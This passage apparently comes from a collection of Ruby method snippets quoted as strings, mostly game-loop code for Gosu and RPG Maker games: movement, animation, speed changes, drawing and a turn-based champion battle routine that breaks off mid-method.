towers.\n @grid_highlighter.draw @screen # Draw the nifty semi-transparent highlighter below the mouse.\n @hud.draw @screen # draw the HUD\n end\n\n @screen.update() # Refresh the screen.\n end", "def accelerate\n self.current_speed += 1 \n end", "def play\n t0_setup\n row_to_find\n\n for @it in 1..12\n unless @over == true\n iterate_and_check\n big_input_array\n big_result_array\n plot_game\n defeat\n end\n end\n\n end", "def update\n super\n @spriteset.update\n $game_timer.update\n $game_fishing.update\n end", "def update\n \tif @panorama_name != $game_map.panorama_name or\n\t @panorama_hue != $game_map.panorama_hue\n # Set the Values\n\t @panorama_name = $game_map.panorama_name\n\t @panorama_hue = $game_map.panorama_hue\n\t if @panorama.bitmap != nil\n\t\t @panorama.bitmap.dispose\n\t\t @panorama.bitmap = nil\n\t end\n\t if @panorama_name != \"\"\n\t\t @panorama.bitmap = RPG::Cache.panorama(@panorama_name, @panorama_hue)\n\t end\n\t Graphics.frame_reset\n\t end\n\t if @fog_name != $game_map.fog_name or @fog_hue != $game_map.fog_hue\n\t @fog_name = $game_map.fog_name\n\t @fog_hue = $game_map.fog_hue\n\t if @fog.bitmap != nil\n\t\t @fog.bitmap.dispose\n\t\t @fog.bitmap = nil\n\t end\n\t if @fog_name != \"\"\n\t\t @fog.bitmap = RPG::Cache.fog(@fog_name, @fog_hue)\n\t end\n\t Graphics.frame_reset\n\t end\n\t @tilemap.ox = $game_map.display_x / 4\n\t @tilemap.oy = $game_map.display_y / 4\n\t @tilemap.update\n\t @panorama.ox = $game_map.display_x / 8\n\t @panorama.oy = $game_map.display_y / 8\n\t @fog.zoom_x = $game_map.fog_zoom / 100.0\n\t @fog.zoom_y = $game_map.fog_zoom / 100.0\n\t @fog.opacity = $game_map.fog_opacity\n\t @fog.blend_type = $game_map.fog_blend_type\n\t @fog.ox = $game_map.display_x / 4 + $game_map.fog_ox\n\t @fog.oy = $game_map.display_y / 4 + $game_map.fog_oy\n\t @fog.tone = $game_map.fog_tone\n \n \n \n # This is the Sprite Anti Lag Code\n\t for sprite in @character_sprites\n\t if sprite.character.is_a?(Game_Event)\n # If Event is Auto, Parallel, Set to Always Update (/al_update) or In Range\n \t\t if sprite.character.trigger == 3 or sprite.character.trigger == 4 or\n sprite.character.lag_include or\n in_range?(sprite.character) \n # Update the Sprite\n\t \t sprite.update\n # If you have other code to run, allow this part to run first, then\n # run other parts of scripts here inside of the conditional branch. \n\t \t end\n # Not an Event, thus, Player, so always update the Players Sprite\n\t else\n # Update the Sprite\n\t\t sprite.update\n\t end\n\t end\n # End Sprite Anti Lag Code\n \n \n \n \t@weather.type = $game_screen.weather_type\n\t @weather.max = $game_screen.weather_max\n\t @weather.ox = $game_map.display_x / 4\n @weather.oy = $game_map.display_y / 4\n\t @weather.update\n\t for sprite in @picture_sprites\n\t sprite.update\n\t end\n\t @timer_sprite.update\n\t @viewport1.tone = $game_screen.tone\n\t @viewport1.ox = $game_screen.shake\n\t @viewport3.color = $game_screen.flash_color\n\t @viewport1.update\n\t @viewport3.update\n end", "def game_core\n #frames counter for each job\n j1_frames = 10\n j2_frames = 10\n j3_frames = 10\n #duration of a \"frame\" in s\n multiplier = 10\n frame_duration = 0.005\n #loop untill end of the game\n while !$game_over\n if(j3_frames >= frame_duration * multiplier)\n input = get_inputs.downcase\n if(input == \"e\")\n system 'clear'\n return\n else\n input_handler(input)\n end\n j3_frames = 0\n end\n if(j1_frames >= frame_duration*multiplier)\n draw_graphic()\n j1_frames = 0\n end\n if(j2_frames >= frame_duration*(5-($score/80.01))*multiplier)\n move_player\n event_handler\n j2_frames = 0\n end\n j1_frames += frame_duration\n j2_frames += frame_duration\n j3_frames += frame_duration\n sleep frame_duration\n end\n #we get there only when the game is over\n system 'clear'\n puts \"----Game Over----\"\n puts \"You scored: \" + $score.to_s + \" points\"\n sleep 2\nend", "def animation\n x = -1\n y = -1\n a = -1\n b = -1\n player_movement = (@player_pos[-2] - @player_pos[-1]) / 5\n computer_movement = (@computer_pos[-2] - @computer_pos[-1]) / 5\n player_movement2 = (@player_pos[-2] - @player_pos[-1]) / 3\n computer_movement2 = (@computer_pos[-2] - @computer_pos[-1]) / 3\n # run only if the player wins the game\n if @player_pos[-1] == 0\n 3.times do\n system('clear')\n if player_movement == 1\n @level1_string[@player_pos[-2] + player_movement2 * a + 1] = \"\\u{1f4b0}\"\n @level1_string[@player_pos[-2] + player_movement2 * a + 2] = \" \"\n @level1_string[@player_pos[-2] + player_movement2 * a + 3] = \" \"\n @level1_string[@player_pos[-2] + player_movement2 * a] = @player\n @level1_string[2] = @goal\n @level1_string[52] = @start\n end\n if computer_movement == 1\n @level1_string[@computer_pos[-2] + computer_movement2 * b + 1] = \" \"\n @level1_string[@computer_pos[-2] + computer_movement2 * b + 2] = \"\\u{1f4a8}\"\n @level1_string[@computer_pos[-2] + computer_movement2 * b + 3] = \" \"\n @level1_string[@computer_pos[-2] + computer_movement2 * b] = @computer\n @level1_string[2] = @goal\n @level1_string[52] = @start\n end\n insert_sky\n puts @level1_string\n insert_landscape\n a -= 1\n b -= 1\n sleep 0.07\n end\n system('clear')\n @computer_pos[-1] = \"\\u{1f4a5}\"\n @player_pos[-1] = @goal\n insert_sky\n puts @level1_string\n insert_landscape\n system (\"say Congratulations! You have successfully escaped with the cash!\")\n sleep 2\n str = \"\"\n 700.times do\n system('clear')\n str += \"\\u{1f4b0} \"\n puts str\n sleep 0.005\n end\n throw :exit\n end\n # move the player/computer 5 blocks for each correct answer\n 5.times do\n system('clear')\n if player_movement == 1\n @level1_string[@player_pos[-2] + player_movement * x + 1] = \"\\u{1f4b0}\"\n @level1_string[@player_pos[-2] + player_movement * x + 2] = \" \"\n @level1_string[@player_pos[-2] + player_movement * x + 3] = \" \"\n @level1_string[@player_pos[-2] + player_movement * x] = @player\n @level1_string[2] = @goal\n @level1_string[52] = @start\n end\n if computer_movement == 1\n @level1_string[@computer_pos[-2] + computer_movement * y + 1] = \" \"\n @level1_string[@computer_pos[-2] + computer_movement * y + 2] = \"\\u{1f4a8}\"\n @level1_string[@computer_pos[-2] + computer_movement * y + 3] = \" \"\n @level1_string[@computer_pos[-2] + computer_movement * y] = @computer\n @level1_string[2] = @goal\n @level1_string[52] = @start\n end\n insert_sky\n puts @level1_string\n insert_landscape\n x -= 1\n y -= 1\n sleep 0.07\n end\n @level1_string[@computer_pos[-2] + computer_movement * y + 3] = \" \"\n # run only if player loses to computer\n if @player_pos[-1] == @computer_pos[-1]\n explosion_animation\n system (\"say Boom Boom Boom\")\n sleep 2\n str = \"\"\n 700.times do\n system('clear')\n str += \"\\u{2620} \"\n puts str\n sleep 0.005\n end\n throw :exit\n else\n system('clear')\n insert_sky\n @level1_string[52] = @start\n puts @level1_string\n insert_landscape\n end\n end", "def gameflow\n \n end", "def choppy_movement_tb\n @tb_grid_mv = @tb_grid_mv == 3 ? 0 : @tb_grid_mv + 1\n if TactBattleManager.tact_battle? && @tb_grid_mv == 2 \n Sound.play_cursor if Input.dir4 > 0 && @x == @real_x && @y == @real_y\n mv_by_input_tb_mod\n end\n end", "def update\n self.caption = \"Tennis - [FPS: #{Gosu::fps.to_s}]\"\n if not @game_over\n # Move the game objects around.\n @player.update\n if @twoplayer\n @player2.update\n else\n @bot.update\n end\n @ball.update\n # No need to call update on wall, since it doesn't move :-)\n end\n end", "def pbHiddenMoveAnimation(pokemon)\n return false if !pokemon\n viewport=Viewport.new(0,0,0,0)\n viewport.z=99999\n bg=Sprite.new(viewport)\n bg.bitmap=BitmapCache.load_bitmap(\"Graphics/Pictures/hiddenMovebg\")\n sprite=PokemonSprite.new(viewport)\n sprite.setOffset(PictureOrigin::Center)\n sprite.setPokemonBitmap(pokemon)\n sprite.z=1\n sprite.visible=false\n strobebitmap=AnimatedBitmap.new(\"Graphics/Pictures/hiddenMoveStrobes\")\n strobes=[]\n 15.times do |i|\n strobe=BitmapSprite.new(26*2,8*2,viewport)\n strobe.bitmap.blt(0,0,strobebitmap.bitmap,Rect.new(0,(i%2)*8*2,26*2,8*2))\n strobe.z=((i%2)==0 ? 2 : 0)\n strobe.visible=false\n strobes.push(strobe)\n end\n strobebitmap.dispose\n interp=RectInterpolator.new(\n Rect.new(0,Graphics.height/2,Graphics.width,0),\n Rect.new(0,(Graphics.height-bg.bitmap.height)/2,Graphics.width,bg.bitmap.height),\n 10)\n ptinterp=nil\n phase=1\n frames=0\n begin\n Graphics.update\n Input.update\n sprite.update\n case phase\n when 1 # Expand viewport height from zero to full\n interp.update\n interp.set(viewport.rect)\n bg.oy=(bg.bitmap.height-viewport.rect.height)/2\n if interp.done?\n phase=2\n ptinterp=PointInterpolator.new(\n Graphics.width+(sprite.bitmap.width/2),bg.bitmap.height/2,\n Graphics.width/2,bg.bitmap.height/2,\n 16)\n end\n when 2 # Slide Jermon sprite in from right to centre\n ptinterp.update\n sprite.x=ptinterp.x\n sprite.y=ptinterp.y\n sprite.visible=true\n if ptinterp.done?\n phase=3\n pbPlayCry(pokemon)\n frames=0\n end\n when 3 # Wait\n frames+=1\n if frames>30\n phase=4\n ptinterp=PointInterpolator.new(\n Graphics.width/2,bg.bitmap.height/2,\n -(sprite.bitmap.width/2),bg.bitmap.height/2,\n 16)\n frames=0\n end\n when 4 # Slide Jermon sprite off from centre to left\n ptinterp.update\n sprite.x=ptinterp.x\n sprite.y=ptinterp.y\n if ptinterp.done?\n phase=5\n sprite.visible=false\n interp=RectInterpolator.new(\n Rect.new(0,(Graphics.height-bg.bitmap.height)/2,Graphics.width,bg.bitmap.height),\n Rect.new(0,Graphics.height/2,Graphics.width,0),\n 10)\n end\n when 5 # Shrink viewport height from full to zero\n interp.update\n interp.set(viewport.rect)\n bg.oy=(bg.bitmap.height-viewport.rect.height)/2\n phase=6 if interp.done? \n end\n for strobe in strobes\n strobe.ox=strobe.viewport.rect.x\n strobe.oy=strobe.viewport.rect.y\n if !strobe.visible\n randomY=16*(1+rand(bg.bitmap.height/16-2))\n strobe.y=randomY+(Graphics.height-bg.bitmap.height)/2\n strobe.x=rand(Graphics.width)\n strobe.visible=true\n elsif strobe.x<Graphics.width\n strobe.x+=32\n else\n randomY=16*(1+rand(bg.bitmap.height/16-2))\n strobe.y=randomY+(Graphics.height-bg.bitmap.height)/2\n strobe.x=-strobe.bitmap.width-rand(Graphics.width/4)\n end\n end\n pbUpdateSceneMap\n end while phase!=6\n sprite.dispose\n for strobe in strobes\n strobe.dispose\n end\n strobes.clear\n bg.dispose\n viewport.dispose\n return true\nend", "def play\n\t\tgame_loop\n\tend", "def play\n #calls to all the methods that produce game!\n end", "def update_control\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # reset move speed\n player.move_speed = player.normal_speed\n # reset spriteset name\n player.character_name = player.character_name_org\n # if allowed to change speed\n unless $game_system.map_interpreter.running? ||\n player.move_route_forcing || $game_temp.message_window_showing\n # if run button works and running\n if $game_system.running_button && Input.press?(Input::Run)\n # set running speed\n player.move_speed = Config::RUN_SPEED\n # if sneak button works and sneaking\n elsif $game_system.sneaking_button && Input.press?(Input::Sneak) ||\n Config::SNEAK_SPEED > 0 && Config::SNEAK_ON_CHARGE && player.charging?\n # set sneaking speed\n player.move_speed = Config::SNEAK_SPEED\n end\n end\n # if battler exists and either dead or select triggered\n if player.battler != nil && ($game_system.select_button &&\n Input.trigger?(Input::Select) || player.battler.dead?)\n # switch to next valid actor\n switch_leader\n end \n # setup sprite animation\n player.sprite_animation_setup\n # update action\n player.update_action\n # if allowed to turn and pressed turning button or defending\n if ((player.ai.act.defend? && player.attacked == 0) ||\n $game_system.turn_button && Input.press?(Input::Turn)) &&\n !player.moving? && !$game_system.map_interpreter.running? &&\n !player.move_route_forcing && !$game_temp.message_window_showing\n # get input depending on confusion\n input = (player.restriction == 3 ? 10 - Input.dir4 : Input.dir4)\n # depending on input turn\n case input\n when 2 then player.turn_down\n when 4 then player.turn_left\n when 6 then player.turn_right\n when 8 then player.turn_up\n end\n # updates any attacked action\n player.update_attacked\n # abort method\n return nil\n end\n # updates any attacked action\n player.update_attacked\n # if acting\n if player.in_action > 0\n # decrease action counter if in_action is greater than 0\n player.in_action -= 1 if player.in_action > 0\n # return data\n return [player.moving?, player.real_x, player.real_y]\n end\n # if allowed to move\n unless $game_system.map_interpreter.running? ||\n player.move_route_forcing || $game_temp.message_window_showing\n # if jump button was pressed and not already jumping\n if $game_system.jumping_button && Input.trigger?(Input::Jump) &&\n !player.jumping? && player.restriction < 4\n # set to jump\n @memory_jump = true\n end\n # if not moving\n unless player.moving?\n # get jumping range\n range = Config::JUMPING\n # if jumping turned on and not jumping and jumped\n if range > 0 && !player.jumping? && @memory_jump\n # if sneaking or running is possible\n if Config::RUN_SPEED > 0 || Config::SNEAK_SPEED > 0\n # get difference between current speed and normal speed\n dplus = player.move_speed - player.normal_speed\n else\n # difference is 0\n dplus = 0\n end\n # get direction\n direction = $game_system._8_way ? Input.dir8 : Input.dir4\n # set jumping direction\n x, y = Cache::DirOffsets[direction]\n # jump into direction with considering running/sneaking\n player.jump(x*range + x*dplus, y*range + y*dplus, direction)\n # if not already jumping\n elsif !player.jumping?\n # move\n move($game_system._8_way ? Input.dir8 : Input.dir4)\n # allow idle if no movement\n player.idle_allowed = !player.moving?\n end\n # not jumping anymore\n @memory_jump = false\n end\n end\n # return data\n return [player.moving?, player.real_x, player.real_y]\n end", "def update_enemy_sending_pokemon\n if @counter2 == 10\n spawn_enemy_balls\n elsif @counter2 == 60\n start_enemy_mon_going_out_animation\n elsif @counter2 > 90\n @update_method = :update_transition\n end\n @enemy_sprites.each { |sprite| sprite.x += SPRITE_MOVE_PIXEL / 2 }\n @counter2 += 1\n end", "def speedup(amount)\n @speed += amount\n end", "def update\n\t\tif @is_blown\n\t\t\tcurr_time = Gosu::milliseconds\n\t\t\tif (curr_time - @start_time).abs > BLOW_DURATION\n\t\t\t\t@is_blown = false\n\t\t\t\t@has_changed = true\n\t\t\tend\n\t\tend\n\tend", "def play_game(game)\n\n\t\twhile game.totalHills > 1 and game.turn < 1000 \t\n\t \tgame.turn \n\t end\n\tend", "def pedal_faster num\n @current_speed += num\n end", "def tick\n # move balls\n @balls.each(&:move)\n # move bonuses\n @bonuses.delete_if do |bonus|\n bonus.move\n bonus.out?\n end\n # check for speedup\n @speedup_countdown -= 1\n return unless @speedup_countdown.zero?\n @speedup_countdown = GAME_SPEEDUP_INTERVAL\n @balls.each do |ball|\n ball.speed *= 1.1\n end\n end", "def play\n $game.surface.+$game.white.get('Ant')\n $game.surface.+$game.black.get('Beetle')\n $game.surface.+($game.white.get('Ant'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant1]), Side::Face[:bottom_left])\n #$game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:bottom_left])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Ant'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]), Side::Face[:bottom_right])\n $game.surface.+($game.black.get('Queen'), $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Queen'), $game.surface.bug(Hive::Color[:white], Bug::Type[:ant3]), Side::Face[:bottom_right])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:queen1]), Side::Face[:top_right])\n $game.surface.+($game.white.get('Spider'), $game.surface.bug(Hive::Color[:white], Bug::Type[:queen1]), Side::Face[:bottom_center])\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper2]).move(Hive::Color[:black], Bug::Type[:beetle1], Side::Face[:bottom_left])\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]).move(Hive::Color[:black], Bug::Type[:queen1], Side::Face[:bottom_center])\n $game.surface.+($game.black.get('Grasshopper'), $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]), Side::Face[:top_center])\n \n # Try putting a $game.list_moves after any move directive\n\n puts \"\\n\\n=====PROOF SECTION=======================\"\n $game.surface.bug(Hive::Color[:black], Bug::Type[:beetle1]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper1]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper2]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:grasshopper3]).describe\n $game.surface.bug(Hive::Color[:black], Bug::Type[:queen1]).describe\n \n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant1]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant2]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:ant3]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:queen1]).describe\n $game.surface.bug(Hive::Color[:white], Bug::Type[:spider1]).describe\n end", "def slow\n if @speed < 7\n @speed = 0.0\n else\n @speed = @speed - 7\n end\n end", "def play\n\t# while $game_end == false\n\t\t9.times { \n\t\t\tif $game_end == false\n\t\t\t\tturns\n\t\t\tend\n\t\t}\nend", "def update\n @player.shape.body.reset_forces\n\n 6.times do\n if button_down? Gosu::KbLeft or button_down? Gosu::GpLeft then\n @player.move_left\n end\n if button_down? Gosu::KbRight or button_down? Gosu::GpRight then\n @player.move_right\n end\n #if button_down? Gosu::KbUp or button_down? Gosu::GpRight then\n # @player.shape.body.a += 0.1\n #\n # puts @player.shape.body.a.inspect\n #end\n #if button_down? Gosu::KbDown or button_down? Gosu::GpRight then\n # @player.shape.body.a -= 0.1\n # puts @player.shape.body.a.inspect\n #end\n\n\n @space.step 1.0/10.0\n end\n end", "def pedal_faster\n @speedometer = @speedometer + 10\n end", "def speed\n end", "def update(interval)\n seconds = Gosu.milliseconds\n interval = seconds - @last_update\n @last_update = seconds\n\n exit if Gosu.button_down? Gosu::KbEscape\n 10.times do |i|\n next unless Gosu.button_down?(Gosu::Kb1+i) && @player.powerups[i]\n @player.powerups[i].invoke\n end\n\n @state = 'PAUSE' if Gosu.button_down? Gosu::KbP\n @state = 'ACTIVE' if (Gosu.button_down?(Gosu::KbEnter) || Gosu.button_down?(Gosu::KbReturn)) && @state == 'PAUSE'\n\n @ui.update(seconds)\n return unless @state == 'ACTIVE'\n\n @objects.each { |obj| obj.keep? && collisions(obj) }\n @objects.each { |obj| obj.keep? && obj.update(interval) }\n @objects.keep_if do |obj|\n obj.keep? || (@count_of[obj.class.name] -= 1) && false\n end\n\n @player.update(interval)\n\n @player.shot if Gosu.button_down?(Gosu::KbSpace) && @player.cooldown?\n # random events\n if rand * 100 > 95 && @count_of[Ball.name] < 3\n radius = rand * 45 + 5\n y = [rand * @height - 2 * radius - @player.img.height - 20, 10].max\n x = rand * (@width - 2 * radius)\n add_object(Ball.new(self, radius: radius, x: x, y: y))\n end\n end", "def accelerate_to(speed) \r\n\t\tputs \"You #{speed > @speed ? \"sped up\" : \"slowed down\"} to #{speed}mph.\"\r\n\t\t@speed = speed;\r\n\tend", "def full_game\n 52.times do\n round\n end\n output\n rematch\n end", "def walk\n @speed = 2\n end", "def update\n if @paused\n return 0\n end\n next_direction = :none\n if button_down? Gosu::KbRight\n @player.move_right \n next_direction = :right\n end\n if button_down? Gosu::KbLeft\n @player.move_left \n next_direction = :left\n end\n @player.move_down if button_down? Gosu::KbDown\n @player.jump if button_down? Gosu::KbUp\n if (next_direction != @previous_direction) || !((button_down? Gosu::KbRight) || (button_down? Gosu::KbLeft))\n @player.stop_horizontally\n end\n @previous_direction = next_direction\n \n @updated_blocks = Array.new\n @blocks_array.each do |block|\n# # Don't update this block if it is not in 3x3 screens area\n# unless ((-@x_viewport - SCREEN_WIDTH)..\n# (-@x_viewport + 2 * SCREEN_WIDTH)).include?(block.relative_position.x) &&\n# ((-@y_viewport - SCREEN_HEIGHT)..\n# (-@y_viewport + 2 * SCREEN_HEIGHT)).include?(block.relative_position.y)\n# next\n# end\n# # Don't update if this block is not in 2x2 screens area and moving\n# unless (!block.moving ||\n# ((-@x_viewport - SCREEN_WIDTH * 0.5)..\n# (-@x_viewport + 1.5 * SCREEN_WIDTH)).include?(block.relative_position.x) &&\n# ((-@y_viewport - SCREEN_HEIGHT * 0.5)..\n# (-@y_viewport + 1.5 * SCREEN_HEIGHT)).include?(block.relative_position.y))\n# next\n# end\n old_block = block.clone\n @quadtree.remove(block) unless block.active\n\n block.update unless block.moving || !block.active\n if block.active\n @updated_blocks << block\n else\n @quadtree.remove(old_block)\n end\n end\n# @updated_blocks.each_index do |index|\n# new_block = Pair.new(@updated_blocks[index], old_blocks[index])\n# @quadtree.insert(new_block)\n# end\n\n # Delete not active blocks\n @blocks_array.keep_if { |block| block.active }\n @updated_blocks.each do |block|\n next unless block.moving && block.active\n old_block = block.clone\n\n block.update(@quadtree) if block.is_a? Enemy\n block.update unless block.is_a? Enemy\n\n @quadtree.update(old_block, block) if block.active\n @quadtree.remove(old_block) unless block.active\n end\n @player.update @quadtree\n\n # Move \"camera\" if player is near screen bounds\n if @player.relative_position.x + @x_viewport > SCREEN_WIDTH - @x_bounds\n @x_viewport = SCREEN_WIDTH - @x_bounds - @player.relative_position.x\n elsif @player.relative_position.x + @x_viewport < @x_bounds\n @x_viewport = @x_bounds - @player.relative_position.x\n end\n\n if @player.relative_position.y + @y_viewport > SCREEN_HEIGHT - @y_bounds\n @y_viewport = SCREEN_HEIGHT - @y_bounds - @player.relative_position.y\n elsif @player.relative_position.y + @y_viewport < @y_bounds\n @y_viewport = @y_bounds - @player.relative_position.y\n end\n end", "def on_input\n @movement.each do |entity|\n entity[:movement]= nil\n end\n\n @player[:action]= case @window.active_input\n when \"h\" then [:move, Vector[-1, 0]]\n when \"j\" then [:move, Vector[ 0, 1]]\n when \"k\" then [:move, Vector[ 0, -1]]\n when \"l\" then [:move, Vector[ 1, 0]]\n when \"y\" then [:move, Vector[-1, -1]]\n when \"b\" then [:move, Vector[-1, 1]]\n when \"u\" then [:move, Vector[ 1, -1]]\n when \"n\" then [:move, Vector[ 1, 1]]\n when \"g\" then [:draw_card]\n when \"f\" then [:play_weapon]\n when \"d\" then [:play_spell]\n when \"s\" then [:play_item]\n when \"a\" then [:replace_item]\n when \"q\" then throw(:game_end)\n else\n return\n end\n\n @ai_method.each do |entity|\n entity[:action] = self.send(entity[:ai_method], entity)\n end\n\n @action.each do |entity|\n action, *args = entity[:action]\n next if action.nil?\n\n self.send(action, entity, *args)\n entity[:action]= nil\n end\n\n @movement.each do |entity|\n next if entity[:movement].nil?\n\n oldpos = entity[:position]\n newpos = entity[:position] + entity[:movement]\n\n next if out_of_bounds?(newpos)\n\n entities_at_pos = @map[:index][newpos]\n obstructed = entities_at_pos.any? do |entity|\n entity[:obstructing] == true\n end\n next if obstructed\n\n b = entity[:position]\n m = entity[:movement] / 5.0\n points = 6.times.map { |t| (b + (m*t)) }\n\n entity[:position]= newpos\n entity[:movement]= nil\n entity[:tween_points]= points\n @map[:index][oldpos].delete(entity)\n @map[:index][newpos].push(entity)\n end\n\n @animating = true\n end", "def draw\n # gl will execute the given block in a clean OpenGL environment, then reset\n # everything so Gosu's rendering can take place again.\n \n #gl do\n # glClearColor(0.0, 0.2, 0.5, 1.0)\n # glClearDepth(0)\n # glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n # \n # @gl_background.exec_gl\n #end\n #@background_image.draw(0, 0, ZOrder::Background)\n \n @bullets.each { |o| o.draw }\n @e_bullets.each { |o| o.draw }\n @ennemies.each{|e| e.draw}\n @bonuses.each{|b| b.draw}\n @particles.each{|p| p.draw}\n \n @player.draw\n \n # TODO externalize UI methods\n # Score\n @font.draw(\"Score: #{@player.score}\", 10, 10, ZOrder::UI, 1.0, 1.0, 0xffffff00)\n # Player's lives count\n @font.draw(\"LIVES: #{(@player.lives > -1)? @player.lives : \"GAME OVER\"}\", 10, 30, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n # Current level\n @font.draw(\"LEVEL: #{@w_generator.current_level}\", 10, 50, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n \n # Pause label\n if @state == :paused\n @big_font.draw(\" PAUSE \", @GAME_OVER_X, @GAME_OVER_Y, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n end\n # Game Over label\n if @player.lives < 0\n @big_font.draw(\"GAME OVER\", @GAME_OVER_X, @GAME_OVER_Y, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n end\n # End game label\n if @finished\n @big_font.draw(\"THE END\", @GAME_OVER_X, @GAME_OVER_Y, ZOrder::UI, 1.0, 1.0, 0xffff0000)\n end\n end", "def battle\r\n\t\tcooldown = 0\r\n\t\twhile(!@battle_end) do\r\n\t\t\tcreate_turn_update_record(@turn)\r\n\t\t\t@champ_speeds.each do |x|\r\n\t\t\t\tcreate_hp_update_record\r\n\r\n\t\t\t\t# x is @team's champions\r\n\t\t\t\tif(x < 5)\r\n\t\t\t\t\tin_front = team_dead(@team)\r\n\t\t\t\t\tnum_alive_in_front = in_front[0...x].count(false)\r\n\t\t\t\t\trange = @team[x].range\r\n\t\t\t\t\tname = @team[x].name\r\n\t\t\t\t\tRails.logger.debug \"Alive in front on team for #{name}: #{num_alive_in_front} Range: #{range}}\"\r\n\r\n\t\t\t\t\tif range <= num_alive_in_front\r\n\t\t\t\t\t\tRails.logger.debug \"Nothing in range for #{name}\"\r\n\t\t\t\t\t\tcreate_nothing_in_range_record(x,range,num_alive_in_front)\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\topp_in_front = team_dead(@opp_team)\r\n\t\t\t\t\t\trange_left = range - num_alive_in_front\r\n\t\t\t\t\t\tRails.logger.debug \"Range: #{range} Range Left: #{range_left}\"\r\n\t\t\t\t\t\tnum_opp_alive = opp_in_front.count(false)\r\n\t\t\t\t\t\tRails.logger.debug \"Number of opponents alive: #{num_opp_alive}\"\r\n\t\t\t\t\t\tif range_left <= num_opp_alive\r\n\t\t\t\t\t\t\tnum_opp_alive = range_left\r\n\t\t\t\t\t\t\tRails.logger.debug \"Targets for randomming decreased from #{num_opp_alive} to the range: #{range_left}\"\r\n\t\t\t\t\t\tend\r\n\r\n\t\t\t\t\t\trandom_target = randomized_target(num_opp_alive)\r\n\t\t\t\t\t\tRails.logger.debug \"Random Target: #{random_target}\"\r\n\r\n\t\t\t\t\t\ttarget = -1\r\n\t\t\t\t\t\ttemp = -1\r\n\t\t\t\t\t\tfor y in 0..4\r\n\t\t\t\t\t\t\tif (!opp_in_front[y])\r\n\t\t\t\t\t\t\t\ttemp += 1\r\n\t\t\t\t\t\t\t\tRails.logger.debug \"#{@opp_team[y].name} is alive in front of #{name}\"\r\n\t\t\t\t\t\t\tend\r\n\t\t\t\t\t\t\tif(temp == random_target)\r\n\t\t\t\t\t\t\t\ttarget = y\r\n\t\t\t\t\t\t\t\tRails.logger.debug \"temp: #{temp} y: #{y} random_target: #{random_target}\"\r\n\t\t\t\t\t\t\t\tbreak\r\n\t\t\t\t\t\t\tend\r\n\t\t\t\t\t\tend\r\n\t\t\t\t\t\tRails.logger.debug \"Thus the target is: #{@opp_team[target].name} at position: #{target}\"\r\n\r\n\t\t\t\t\t\tcreate_champion_turn_record(x,target + 5)\r\n\t\t\t\t\t\t# Ability power attack\r\n\t\t\t\t\t\tif(cooldown == 0)\r\n\r\n\t\t\t\t\t\t\t# Handle ability attack\r\n\t\t\t\t\t\t\tchamp_ap = @team[x].ap\r\n\t\t\t\t\t\t\tcreate_ability_power_record(x,champ_ap)\r\n\r\n\t\t\t\t\t\t\tchamp_mr = @opp_team[target].mr\r\n\t\t\t\t\t\t\tcreate_mr_record(champ_mr,target + 5)\r\n\r\n\t\t\t\t\t\t\tdamage = @opp_team[target].take_magic_damage(champ_ap)\r\n\t\t\t\t\t\t\tcreate_damage_record(x,damage,target + 5)\r\n\t\t\t\t\t\t\tcreate_just_dead_record(x,target + 5) if @opp_team[target].just_died?\r\n\t\t\t\t\t\telse\r\n\r\n\t\t\t\t\t\t\t# Handle physical attack\r\n\t\t\t\t\t\t\tchamp_ad = @team[x].ad\r\n\t\t\t\t\t\t\tcreate_attack_damage_record(x,champ_ad)\r\n\r\n\t\t\t\t\t\t\tchamp_ar = @opp_team[target].armor\r\n\t\t\t\t\t\t\tcreate_armor_record(champ_ar, target + 5)\r\n\r\n\t\t\t\t\t\t\tdamage = @opp_team[target].take_physical_damage(champ_ad)\r\n\t\t\t\t\t\t\tcreate_damage_record(x,damage,target + 5)\r\n\t\t\t\t\t\t\tcreate_just_dead_record(x,target + 5) if @opp_team[target].just_died?\r\n\t\t\t\t\t\tend\t\t\t\t\r\n\t\t\t\t\tend\r\n\r\n\t\t\t\t\t\r\n\r\n\t\t\t\telse # x > 5\r\n\t\t\t\t\t# x is @opp_team's champions\r\n\t\t\t\t\t\r\n\t\t\t\t\tin_front = team_dead(@opp_team)\r\n\t\t\t\t\tnum_alive_in_front = in_front[0...(x-5)].count(false)\r\n\t\t\t\t\trange = @opp_team[x-5].range\r\n\t\t\t\t\tname = @opp_team[x-5].name\r\n\t\t\t\t\tRails.logger.debug \"Alive in front for #{name}: #{num_alive_in_front} Range: #{range}\"\r\n\r\n\t\t\t\t\tif range <= num_alive_in_front\r\n\t\t\t\t\t\tRails.logger.debug \"Nothing in range for #{name}\"\r\n\t\t\t\t\t\tcreate_nothing_in_range_record(x,range,num_alive_in_front)\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\topp_in_front = team_dead(@team)\r\n\t\t\t\t\t\trange_left = @opp_team[x-5].range - num_alive_in_front\r\n\t\t\t\t\t\tRails.logger.debug \"Range: #{range} Range Left: #{range_left}\"\r\n\t\t\t\t\t\tnum_opp_alive = 